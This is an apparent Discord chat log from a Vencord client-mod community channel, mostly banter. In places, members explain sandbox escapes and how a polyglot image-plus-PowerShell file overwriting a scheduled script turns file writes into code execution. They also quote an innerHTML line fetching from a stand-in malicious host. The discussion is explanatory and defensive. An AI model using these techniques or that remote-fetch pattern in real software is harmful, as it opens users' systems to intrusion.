i did weeks ago

[fading lance]

Now playing - authen

Current:

FURY ROAD
Sematary • GRAVE HOUSE

Previous:

Incendio
Arca • KicK iii

74 artist scrobbles · 9 album scrobbles · 2 track scrobbles · 35231 total scrobbles

[sand citrus]

its just that i had whitename+

[normal flint]

That the version with the pronoun exploit?

[sand citrus]

from boost

[open pasture]

i dont pay attention

[digital kettle]

is there a plugin that can give me friends

[sand citrus]

:p

[sand citrus]

its a built in discord feature

[west ore]

what is the pronoun exploit i’m ootl lol

[golden swan]

im going To steal pronouns with the pronoun exploit

[humble escarp]

Rating 7/10 this is only for femboys (Which I am not)

[glossy swallow]

TextReplace, replace every word with meow

[sand citrus]

vee is holding a gun to my head i cant tell you

[west ore]

vee stop killing civilians you know you’re not allowed

[glossy swallow]

no you don't

[open pasture]

Pronoun theft runs RAMPANT in vencord.......

[digital kettle]

i wanna hug a creeper

[open pasture]

Had to revert to they/them bitches stole both my she and my her

[normal flint]

Scroll up a bit in the support channel. Someone got their pronouns borked somehow and thinks vencord is to blame

[golden swan]

im going to steal your she pronouns

[west ore]

honesltlyl. ithink it’s physical access

[lucid marten]

wtf

[unreal siren]

im going to harvest your pronouns

[lucid marten]

and is it vencords fault?

i doubt

[unreal siren]

highly doubt

[harsh minnow]

the what

[open pasture]

no we are perfect

[lucid marten]

they might got token grabbed by some other thing

[golden swan]

im going to spill your genderfluid on the floor

[harsh minnow]

there is no such vulnerability they just got token logged or phished or smth

[lucid marten]

https://cdn.discordapp.com/emojis/1024751730237374484.gif?size=48&name=IchiCum&quality=lossless

[harsh minnow]

vencord never had any bigger security issues

[real skiff]

me when i blame random hobby developers for something that has nothing to do with their product

[harsh minnow]

the worst security issue so far in vencord was https://github.com/Vendicated/Vencord/commit/c752be45b2ac1de1bdbd4087badc4cbdda1a2aad

but that wasn't really that bad

[unreal siren]

i wonder what the "funniest" issue is

[lucid marten]

what did this do?

[digital kettle]

is there a plguin that

[harsh minnow]

it just meant someone who already has js execution access to your discord can send arbitrary ipc events to discords main process

which is bad but not really that severe

[dusty goblet]

i think if they alr have that access you have bigger issues to worry about..

[harsh minnow]

kind of but also not really

[dusty goblet]

o it says to discord yeah then not really

[harsh minnow]

if they just have code execution inside discord they can steal your discord account and other info but they have no access to your system

that bug potentially opens up a hole for a sandbox escape that could let the attacker access your system

[lucid marten]

like logging you out or something like that?

[digital kettle]

vee

do u know ggtyler?

[strong escarp]

E

[harsh minnow]

anyway other mods like betterdiscord have sandbox escape inbuilt as a deliberate feature sooo

[dusty goblet]

i read it as they have already access to the entire system lmao

[strong escarp]

Bro why is my username like that

[sand citrus]

bc ur name started with !

[golden swan]

awesome username (dont change it)

[feral dock]

Who killed General?

[sand citrus]

you

[golden swan]

.fm

[fading lance]

Now playing - authen

Current:

19
Dean Blunt • Zushi

Previous:

19
Dean Blunt • Zushi

965 artist scrobbles · 200 album scrobbles 27 track scrobbles · 35233 total scrobbles

[golden swan]

best song ever

[thorny cypress]

is there a way to like see member list by mutual servers or anything similar?

[jaunty trellis]

[sand citrus]

Vendor

[raw panther]

https://cdn.discordapp.com/emojis/1155918238442606713.gif?size=48&name=hypershiggy&quality=lossless

[golden swan]

what the fuck why is there a vending machine full of cords

[deep token]

meow

[unreal siren]

vendor

[deep token]

i disabled turbo boost

1.7ghz my beloved

[lucid marten]

what is the best video player for windows?

[deep token]

installing another os

[raw panther]

mpc-hc (the one on github not the official site)

[digital kettle]

videolan

[jaunty trellis]

I got connected runs btw :3

[sand citrus]

⛧ vee is typing...

[jaunty trellis]

now I have 0-65% and 56-100% :D

[raw panther]

I dunno what that means but I voted for gay president today

[golden swan]

vee is thinking about it

[lucid marten]

the clsid one?

[real skiff]

she fell asleep

[raw panther]

yeah

[charred lynx]

im discord

[lucid marten]

alr thanks i will try it out

[sand citrus]

wow

[digital kettle]

HAI DISCORD

[jaunty trellis]

woah

[jaunty trellis]

haiiii

[harsh minnow]

basically

the discord ui runs entirely inside the browser process and has no access to your system (it's constrained to the browser sandbox, similar to a website in your browser). the worst an attacker can do here is steal your discord data and mess with your account

sandbox escape means to escape that sandbox, aka get full execution privileges on your system. with it, an attacker can run any malware on your system, steal data from other apps, etc

that vulnerability potentially allowed a sandbox escape in vencord but has been fixed

vencord has no (known) sandbox escape since then, because plugins are purely limited to doing things inside the browser. (they can also do things natively but this is done securely via ipc (inter process communication), which means it's limited to exactly what the plugin needs. for example the VoiceMessages plugin allows the browser to read any files called "recording.ogg" in your Discord folder, but trying to read anything else fails. You can probably guess what this is for)

betterdiscord has a deliberate sandbox escape built in as part of their plugin api. it allows any plugin to write and run arbitrary files on your system. so if you use betterdiscord, any attacker (such as a malicious plugin) can run malware on your pc

[golden swan]

im not reading allat

[jaunty trellis]

wall of text jumpscare

[sand citrus]

what a nerd

[jaunty trellis]

oki cool

that's good to know

[sand citrus]

i meant vee and i was joking

[jaunty trellis]

but why does bd even have that?

[sand citrus]

oh nvm

thought u were talking to me

[jaunty trellis]

nop

[harsh minnow]

because they always had that and many plugins rely on it

[sand citrus]

i guess so plugin devs can make anything they want which obviously has its consequences

[jaunty trellis]

mmm

[harsh minnow]

not having it makes a few plugins not possible

[unborn magnet]

Vendor

[jaunty trellis]

surely this won't be exploited at all

[sand citrus]

Vendor

[harsh minnow]

like the quick image save plugin

that lets you save images to pre defined folders

[dusty goblet]

HAI ASHLEY HOW IS UR DAY

[sudden fjord]

hai

[harsh minnow]

but even that you could do safely by making the user select the folders ahead of time and only granting access to those folders

[normal flint]

They're planning a rewrite, right? If Zere actually has the energy after his hiatus or whatever

[harsh minnow]

if the user chooses unsafe folders that would still mean security is fucked, but that's a user error then

[real skiff]

would signature checking work for that too, to make it so that only image files could be saved

[harsh minnow]

no

how do you know whats an image and what isn't

[real skiff]

header*

sorry wrong word

[rapid viper]

@void ivy i did it

[harsh minnow]

you could reencode all images and only allow access to the images folder

but it would still likely have security issues

[real skiff]

would writing non-predefined files always be a security concern

[harsh minnow]

yes

[rapid viper]

ignore that i convert indices from strings to numbers then back to strings

[void ivy]

holy shit

[lucid marten]

https://www.youtube.com/watch?v=ByAn8DF8Ykk 😱

[rapid viper]

its for good reason no husking

[harsh minnow]

for example you could write a file like this:

[image bytes here]
echo "hello powershell :)"

this is still a valid image but if you open it with powershell, it might run that echo

if powershell doesn't do it, you'll definitely find some other script runner that will end up executing it

find a powershell script on the system that is run regularly and overwrite it with your "image"

[raw panther]

I wonder if any common bd plugin has a hole that could be targeted by a specifically crafted message or image or something

[harsh minnow]

and boom it will be executed sooner or later

it's pretty simple

arbitrary file write = arbitrary code execution

[glossy swallow]

probably not...

[sand citrus]

there was an exploit in the source engine like that

maybe i can find it

[dusty goblet]

bd is just memory leaking so any bad code doesnt have a chance to run through it

[sand citrus]

i believe it wrote a dll that gets loaded

on next game launch

[golden swan]

.fm

[fading lance]

Now playing - authen

Current:

Imperial Gold
Dean Blunt • The Redeemer

Previous:

LONDON TONIGHT FREESTYLE
Dean Blunt • London Tonight Freestyle

969 artist scrobbles · 29 album scrobbles · 2 track scrobbles · 35237 total scrobbles

[raw panther]

there's been many such cases iirc

[jaunty trellis]

[sand citrus]

its interesting

[harsh minnow]

the only safe way to allow writing files is to restrict it to folders where you know nothing there will ever be executed. for example ~/Pictures

but even then, it still has small risks:

• potential vulnerabilities in image viewers
• writing an executable and the user running it (users are stupid)
• etc

[jaunty trellis]

I haven't gotten a single drop attempt in like 20 minutes

this bad

[glossy swallow]

is this the classic ../ exploit

[harsh minnow]

tldr: do not ever allow writing files on the system it is a nightmare

[lucid marten]

bd feels bloated and slow vencord is better

[sand citrus]

iirc you join a server, it fakes being singleplayer by sending incorrect infromation, your client lets it execute any console command because of that

then another exploit is used

that writes some stuff to a file

then that caused dll injection on next game launch i believe

[harsh minnow]

security is very hard, humans make mistakes and even the smallest mistake can mean horrible vulnerability

[normal flint]

What's the purpose of the quick image save plugin anyway?

[rapid viper]

chromium file system api is goated

[raw panther]

quick image Dave lmao

[real skiff]

how long was log4j undiscovered for

[harsh minnow]

it's slightly less bad in memory safe languages like javascript because at least writing an array out of bounds won't immediately mean extreme severity vulnerability (unlike in C)

but still happens easily

[sand citrus]

yeah thats to be expected though

[harsh minnow]

to demonstrate the severity better: there were already multiple plugin pull requests to vencord that had remote code execution or other similar vulnerabilities

[glossy swallow]

never trust input :3

[raw panther]

for quick saving memes into specific meme folders

[sand citrus]

do you think any of these were intentional? that wouldve been interesting

[glossy swallow]

wasn't that like a backdoor for the author

[sand citrus]

to have a sort of backdoor

[normal flint]

But like. How much quicker does it have to be than just hitting the download button?

[glossy swallow]

(probably not intentional) simply because they didn't use a commit hash?

[rapid viper]

this is why the npm packages i control have pinned versions

in vencord package.json

[harsh minnow]

no, the authors are decently known people in the community

[jaunty trellis]

not a whole lot but if you do it enough it might add up to be worth it idek

[harsh minnow]

just lack of experience

[sand citrus]

ah

[lavish relic]

haii

[sand citrus]

helo

[prime kraken]

hello vendor #🧊-off-topic-iceman-only channel

[dusty goblet]

mrreow~

[lavish relic]

hruu not

[harsh minnow]

there were two pull requests that did element.innerHTML = await fetch("https://definitelynotmalware.com")

[woven monolith]

I have a question about vencord

[lavish relic]

mrep

[dusty goblet]

:3

[glossy swallow]

oh dear

[sand citrus]

i am okay i think ! wbu

[lavish relic]

eep

[dusty goblet]

wait the server got renamed again

[rapid viper]

vencord SSR

[lavish relic]

half na hour

[glossy swallow]

every time you use eval or innerHTML you need to use your brain

[jaunty trellis]

husk

[woven monolith]

So who here is using vencord can you confirm 1 thing

[prime kraken]

vee it's just so they have a way to easily hotfix their plugin if it breaks trust

innerhtml hotfixes that's funny

[dusty goblet]

why does that website exist

[sand citrus]

silly

[dusty goblet]

ig

[raw panther]

just spit it out lol

[sand citrus]

hello vencord server who here is using vencord

no one surely

[jaunty trellis]

[normal flint]

Report everyone who puts their hand up

[brittle granite]

whats a vencord

[dusty goblet]

i am only using betterdiscord sorry

[brittle granite]

is it a drug

we dont do drugs here

[sand citrus]

im using vendor

[waxen bone]

imagine if ninja got a low taper fade

[harsh minnow]

we should just deny the existence of vencord in this channel

whenever someone asks for vencord help here just all go "huh what's that?"

this is off topic after all, you are legally not allowed to talk about vencord

[waxen bone]

nah but fr what is vencord?

[sand citrus]

isnt that thing against tos

[unreal siren]

Whats that?

[sand citrus]

im reporting you